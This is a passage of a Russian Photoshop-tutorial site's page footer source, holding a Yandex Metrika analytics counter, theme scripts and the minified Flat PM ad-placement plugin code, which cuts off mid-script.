фотошопа </div> <div class=»footer-counters»> <script type=»text/javascript» >
(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)};
m[i].l=1*new Date();
for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}
k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
(window, document, «script», «https://mc.yandex.ru/metrika/tag.js», «ym»);

ym(56029369, «init», {
clickmap:true,
trackLinks:true,
accurateTrackBounce:true,
webvisor:true
});
</script> <noscript><div><img src=»https://mc.yandex.ru/watch/56029369″ style=»position:absolute; left:-9999px;» alt=»»/></div></noscript> </div></div> </div> </footer> </div> <button type=»button» class=»scrolltop js-scrolltop»></button> </div> <script>var pseudo_links = document.querySelectorAll(«.pseudo-clearfy-link»);for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener(«click», function(e){ window.open( e.target.getAttribute(«data-uri») ); }); }</script><script src=’https://www.pscraft.ru/wp-content/plugins/mihdan-lite-youtube-embed/assets/dist/js/frontend.js’ id=’mihdan-lite-youtube-embed-js’></script> <script type=’text/javascript’ id=’reboot-scripts-js-extra’>
/* <![CDATA[ */
var settings_array = {«rating_text_average»:»u0441u0440u0435u0434u043du0435u0435″,»rating_text_from»:»u0438u0437″,»lightbox_display»:»1″,»sidebar_fixed»:»»};
var wps_ajax = {«url»:»https://www.pscraft.ru/wp-admin/admin-ajax.php»,»nonce»:»ea05248c63″};
/* ]]> */
</script> <script src=’https://www.pscraft.ru/wp-content/themes/reboot/assets/js/scripts.min.js’ id=’reboot-scripts-js’></script> <ins id=»adsense» class=»adsbygoogle» data-tag=»flat_pm» style=»position:absolute;left:-9999px;top:-9999px»>Adblock<br>detector</ins> <style> .fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:»;display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% — 68px);max-width:calc(100% — 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode=»undefined»!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll=»undefined»!=typeof untilscrollFlatPM?untilscrollFlatPM:».flat_pm_end»;document[‘wr’+’ite’]=function(t){var e=document.createElement(«div»);ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,»»),e=»»,n=0;n<t.length;n++)0!=t[n].indexOf(«overflow»)&&0!=t[n].indexOf(«padding»)&&0!=t[n].indexOf(«border»)&&0!=t[n].indexOf(«outline»)&&0!=t[n].indexOf(«box-shadow»)&&0!=t[n].indexOf(«background»)||(e+=t[n]+»: «+t.getPropertyValue(t[n])+»; «);(d=document.createElement(«div»)).style.cssText=e+» box-sizing: border-box; width: «+l.offsetWidth+»px;»,l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding=»0″,l.style.border=»0″}l.style.height=d.getBoundingClientRect().height+»px»;var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className=»flatpm_stop»,d.style.top=-i+»px»):(d.className=»flatpm_fixed»,d.style.top=s+»px»):(d.className=»»,d.style.top=»»),window.addEventListener(«resize»,function(){l.children[0].style.width=getComputedStyle(l,»»).width},!1)}window.addEventListener(«scroll»,n,!1),document.body.addEventListener(«scroll»,n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector(‘#adsense.adsbygo’+’ogle[data-tag=»flat_pm»]’);if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:»/»}).expires;»number»==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+»=»+(e=encodeURIComponent(e));for(i in n){a+=»; «+i;var l=n[i];!0!==l&&(a+=»=»+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split(«; «).reduce(function(t,e){e=e.split(«=»);return e[0]===n?decodeURIComponent(e[1]):t},»»);return»»!=t?t:void 0},window.flatPM_testCookie=function(){var t=»test_56445″;try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e=»»,n=»ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz»,o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&[«__proto__»,»constructor»,»prototype»].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split(«?»)[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split(«#»)[0]).split(«&»),o=0;o<n.length;o++){var r,i=n[o].split(«=»),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();»string»==typeof l&&(l=l.toLowerCase()),a.match(/[(d+)?]$/)?(e[r=a.replace(/[(d+)?]/,»»)]||(e[r]=[]),a.match(/[d+]$/)?(i=/[(d+)]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&»string»==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles=»h1,h2,h3,h4,h5,h6″,flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+»»).length?flat_date.getMonth()+1:»0″+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+»»).length?flat_date.getDate():»0″+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+»»).length?flat_date.getHours():»0″+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+»»).length?flat_date.getMinutes():»0″+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+»-«+flat_dateMonth+»-«+flat_dateDay,this.time=flat_dateHours+»:»+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(«.flat_pm_start»).nextUntil(«.flat_pm_end»),this.textlen=this.until.text().replace(/(s)+/g,»»).length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData(«country»),this.city=this.cookieData(«city»),this.ccode=this.cookieData(«ccode»),this.role=this.cookieData(«role»),this.ip=this.cookieData(«ip»)},cookieReferer:function(){return parent!==window?»///:iframe»:flat_userVars.testcook?(void 0===flatPM_getCookie(«flat_r_mb»)&&flatPM_setCookie(«flat_r_mb»,»»!=document.referrer?document.referrer:»///:direct»),flatPM_getCookie(«flat_r_mb»)):»»!=document.referrer?document.referrer:»///:direct»},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie(«flat_»+t+»_mb»)?flatPM_getCookie(«flat_»+t+»_mb»):»»},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:»OmniWeb/»,id:»OmniWeb»},{str:navigator.userAgent,subStr:/YaBrowser/,id:»YaBrowser»},{str:navigator.vendor,subStr:/Apple/,id:»Safari»,ver:»Version»},{str:navigator.userAgent,subStr:/OPR/,id:»Opera»,ver:»Version»},{str:navigator.userAgent,subStr:/Firefox/,id:»Firefox»},{str:navigator.userAgent,subStr:/.NET CLR/,id:»Internet Explorer»,ver:»MSIE»},{str:navigator.userAgent,subStr:/Edge/,id:»Edge»,ver:»rv»},{str:navigator.vendor,subStr:/iCab/,id:»iCab»},{str:navigator.vendor,subStr:/KDE/,id:»Konqueror»},{str:navigator.vendor,subStr:/Camino/,id:»Camino»},{str:navigator.userAgent,subStr:/Netscape/,id:»Netscape»},{str:navigator.userAgent,subStr:/Chrome/,id:»Chrome»},{str:navigator.userAgent,subStr:/Mozilla/,id:»Netscape»,ver:»Mozilla»}],dataOS:[{str:navigator.platform,subStr:/Win/,id:»Windows»},{str:navigator.platform,subStr:/Mac/,id:»Mac»},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:»iPhone»},{str:navigator.platform,subStr:/Linux/,id:»Linux»}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie(«flat_r_mb»,»zen.yandex»),flat_userVars.referer=»zen.yandex»),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:»POST»,url:ajaxUrlFlatPM,dataType:»json»,data:{action:»flat_pm_ajax»,data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),»block_geo_role_ip»===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie(«flat_ccode_mb»,t.data.ccode),flatPM_setCookie(«flat_country_mb»,t.data.country),flatPM_setCookie(«flat_city_mb»,t.data.city),flatPM_setCookie(«flat_ip_mb»,t.data.ip),flatPM_setCookie(«flat_role_mb»,t.data.role)),flatPM_then()):(console.log(«ajax error:»),console.error(«Метод оказался ошибочным»))},error:function(){console.log(«ajax error:»),console.error(«Скрипт php вернул ошибку»)}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find(«img, ins, script, style, noscript»).remove().end().text().replace(/(s)+/g,»»);if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement(«div»);d.setAttribute(«data-flat-id»,t.ID),void 0!==t.how.simple&&(«1″==t.how.simple.position&&ff(«.flat_pm_start»).before(d),»2″==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),»3″==t.how.simple.position&&ff(«.flat_pm_end»).before(d),»4″==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split(«/»)[0]/t.how.simple.fraction.split(«/»)[1])]).before(d),»5″==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is(«[data-flat-id]»)||e.after(d)),»6″==t.how.simple.position&&(d.setAttribute(«data-flat-type»,»6″),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll(‘[data-flat-type=»6″]:first’),r=e.nextAll(‘[data-flat-type=»6″]:first’),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(s)+/g,»»).length),e.prevUntil(a).text().replace(/(s)+/g,»»).length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(s)+/g,»»).length),e.nextUntil(r).text().replace(/(s)+/g,»»).length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i=»true»==t.how.onсe.search_all?ff(«html»):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l=»bottom_to_top»==f?i.length-l:l-1,»after»==n&&ff(flatPM_grep(i,l,1)).after(d),»before»==n&&ff(flatPM_grep(i,l,1)).before(d),»append»==n&&ff(flatPM_grep(i,l,1)).append(d),»prepend»==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i=»true»==t.how.iterable.search_all?ff(«html»):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(«bottom_to_top»==f&&(i=i.get().reverse()),»after»==n&&ff(flatPM_grep(i,l,0)).after(d),»before»==n&&ff(flatPM_grep(i,l,0)).before(d),»append»==n&&ff(flatPM_grep(i,l,0)).append(d),»prepend»==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e=»»,o=a.html.length;if(void 0!==a.ip&&»false»==flat_userVars.ip)return void ff(‘[data-flat-id=»‘+a.ID+'»]’).remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff(‘[data-flat-id=»‘+a.ID+'»]’).remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==a.geo.city_enabled&&-1==a.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==a.geo.city_disabled&&-1!=a.geo.city_disabled.indexOf(flat_userVars.city)))return void ff(‘[data-flat-id=»‘+a.ID+'»]’).remove();for(var r,i,l,s,f=0;f<o;f++)(«∞»==a.html[f].res_of||a.html[f].res_of<=flat_userVars.winwidth)&&(«∞»==a.html[f].res_to||a.html[f].res_to>flat_userVars.winwidth)&&(void 0!==a.html[f].group?flat_userVars.adb?(null==t[«group_»+a.html[f].group]&&(t[«group_»+a.html[f].group]=[]),t[«group_»+a.html[f].group].push(«»==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd)):(null==t[«group_»+a.html[f].group]&&(t[«group_»+a.html[f].group]=[]),t[«group_»+a.html[f].group].push(a.html[f].fst)):flat_userVars.adb?t.push(«»==a.html[f].snd&&duplicateMode?a.html[f].fst:a.html[f].snd):t.push(a.html[f].fst));for(r in t)e=»object»==typeof t[r]?e+»n»+t[r][flatPM_random(0,t[r].length-1)]:e+»n»+t[r];if(«»==(e=e.replace(/<!-(.*?)->/gm,»»).replace(/<!—(.*?)—>/gm,»»).trim()))return void ff(‘[data-flat-id=»‘+a.ID+'»]’).remove();if(void 0===a.how.simple&&void 0===a.how.onсe&&void 0===a.how.iterable||ff(‘[data-flat-id=»‘+a.ID+'»]’).each(function(){flatPM_setHTML(this,e)}),void 0!==a.how.popup&&(p=»true»==a.how.popup.cross?void 0!==a.how.popup.timer&&»true»==a.how.popup.timer?'<div class=»fpm_5_timer»>Закрыть через <span>’+a.how.popup.timer_count+»</span></div>»:'<button class=»fpm_5_cross»></button>’:»»,document.createElement(«div»),c=ff(window),b=ff(«body»),g=void 0===flatPM_getCookie(«flat_modal_»+a.ID+»_mb»)||»false»!=flatPM_getCookie(«flat_modal_»+a.ID+»_mb»),i=»scroll.flatmodal»+a.ID,m=»mouseleave.flatmodal»+a.ID+» blur.flatmodal»+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&»true»==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=»‘+a.ID+'»] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘<button class=»fpm_5_cross»></button>’))},1e3))},s=function(){void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie&&g&&(flatPM_setCookie(«flat_modal_»+a.ID+»_mb»,!1),ff(‘.fpm_5_modal[data-id-modal=»‘+a.ID+'»]’).addClass(«fpm_5_modal-show»),l()),void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=»‘+a.ID+'»]’).addClass(«fpm_5_modal-show»),l())},ff(«body > *»).eq(0).before(‘<div class=»fpm_5_modal» data-flat-id=»‘+a.ID+'» data-id-modal=»‘+a.ID+'»><div class=»fpm_5_modal-content»>’+p+»</div></div>»),w=document.querySelector(‘.fpm_5_modal[data-id-modal=»‘+a.ID+'»] .fpm_5_modal-content’),flatPM_setHTML(w,e),»px»==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=»‘+a.ID+'»] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘<button class=»fpm_5_cross»></button>’))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=»‘+a.ID+'»]’).addClass(«show»),n(),b.on(«click»,’.fpm_5_out[data-id-out=»‘+a.ID+'»] .fpm_5_cross’,function(){flatPM_setCookie(«flat_out_»+a.ID+»_mb»,!1)})),void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=»‘+a.ID+'»]’).addClass(«show»),n())}var _,u=»0″!=a.how.outgoing.indent?’ style=»bottom:’+a.how.outgoing.indent+’px»‘:»»,p=»true»==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer?'<div class=»fpm_5_timer»>Закрыть через <span>’+a.how.outgoing.timer_count+»</span></div>»:'<button class=»fpm_5_cross»></button>’:»»,c=ff(window),h=»scroll.out»+a.ID,m=»mouseleave.outgoing»+a.ID+» blur.outgoing»+a.ID,g=void 0===flatPM_getCookie(«flat_out_»+a.ID+»_mb»)||»false»!=flatPM_getCookie(«flat_out_»+a.ID+»_mb»),b=(document.createElement(«div»),ff(«body»));switch(a.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘<div class=»fpm_5_out ‘+_+'»‘+u+’ data-flat-id=»‘+a.ID+'» data-id-out=»‘+a.ID+'»>’+p+»</div>»);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=»‘+a.ID+'»]’);flatPM_setHTML(w,e),»px»==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e++){var o=flat_pm_arr[e],a=!1;if(!(void 0!==o.chapter_limit&&o.chapter_limit>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_userVars.textlen||void 0!==o.title_limit&&o.title_limit>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_userVars.titlelen)){if(void 0!==o.date){if(void 0!==o.date.time_of&&void 0!==o.date.time_to){var r=new Date(flat_userVars.date+»T»+o.date.time_of+»:00″),i=new Date(flat_userVars.date+»T»+o.date.time_to+»:00″),l=new Date(flat_userVars.date+»T12:00:00″),s=new Date(flat_userVars.date+»T»+flat_userVars.time+»:00″);if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),s<r||i<s)continue}if(void 0!==o.date.date_of&&void 0!==o.date.date_to){var i=new Date(o.date.date_of+»T00:00:00″),s=new Date(o.date.date_to+»T00:00:00″),f=new Date(flat_userVars.date+»T00:00:00″);if(f<i||s<f)continue}}if(void 0===o.os||!(void 0!==o.os.os_enabled&&-1==o.os.os_enabled.indexOf(flat_userVars.os)||void 0!==o.os.os_disabled&&-1!=o.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==o.cookies){var n=!1;if(void 0!==o.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(o.cookies.cookies_enabled).each(function(){var t=this.split(«:»,2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==o.cookies.cookies_disabled&&flat_userVars.testcook&&ff(o.cookies.cookies_disabled).each(function(){var t=this.split(«:»,2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==o.utmget){var d=!1;if(void 0!==o.utmget.utmget_enabled&&ff(o.utmget.utmget_enabled).each(function(){var t=this.split(«:»,2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==o.utmget.utmget_disabled&&ff(o.utmget.utmget_disabled).each(function(){var t=this.split(«:»,2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==o.referer&&(void 0!==o.referer.referer_enabled&&-1==o.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==o.referer.referer_disabled&&-1!=o.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(a=!0),!a&&void 0!==o.browser&&(void 0!==o.browser.browser_enabled&&-1==o.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==o.browser.browser_disabled&&-1!=o.browser.browser_disabled.indexOf(flat_userVars.browser))||(a&&void 0!==o.browser&&void 0!==o.browser.browser_enabled&&-1!=o.browser.browser_enabled.indexOf(flat_userVars.browser)&&(a=!1),a||void 0===o.geo&&void 0===o.ip&&void 0===o.role||»»!=flat_userVars.ccode&&»»!=flat_userVars.country&&»»!=flat_userVars.city&&»»!=flat_userVars.ip&&»»!=flat_userVars.role||(f=»block_geo_role_ip»,flat_pm_then.push(o),flatPM_setWrap(o),flat_body.hasClass(f)||(flat_body.addClass(f),flatPM_ajax(f)),a=!0),a||(flatPM_setWrap(o),flatPM_next(o)))}}}var _=ff(«.flatPM_sticky»),u=ff(«*:has(>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,o=t.data(«top»);t.wrap(‘<div class=»flatPM_sticky_wrapper» style=»height:’+e+’px» />’);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(«top»);t.wrap(‘<div class=»flatPM_sticky_wrapper flatPM_sidebar_block» style=»height:’+e+’px» />’);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff(«body > *»).last().after(‘<div class=»fpm_5_modal-overlay»></div>’),flat_body.on(«click»,».fpm_5_out .fpm_5_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».fpm_5_modal .fpm_5_cross»,function(){ff(this).closest(«.fpm_5_modal»).removeClass(«fpm_5_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),ff(«[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)»).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:]+)[^>]*)/>/gi,d=/<([w:]+)/,i=/<|&#?w+;/,c={option:[1,»<select 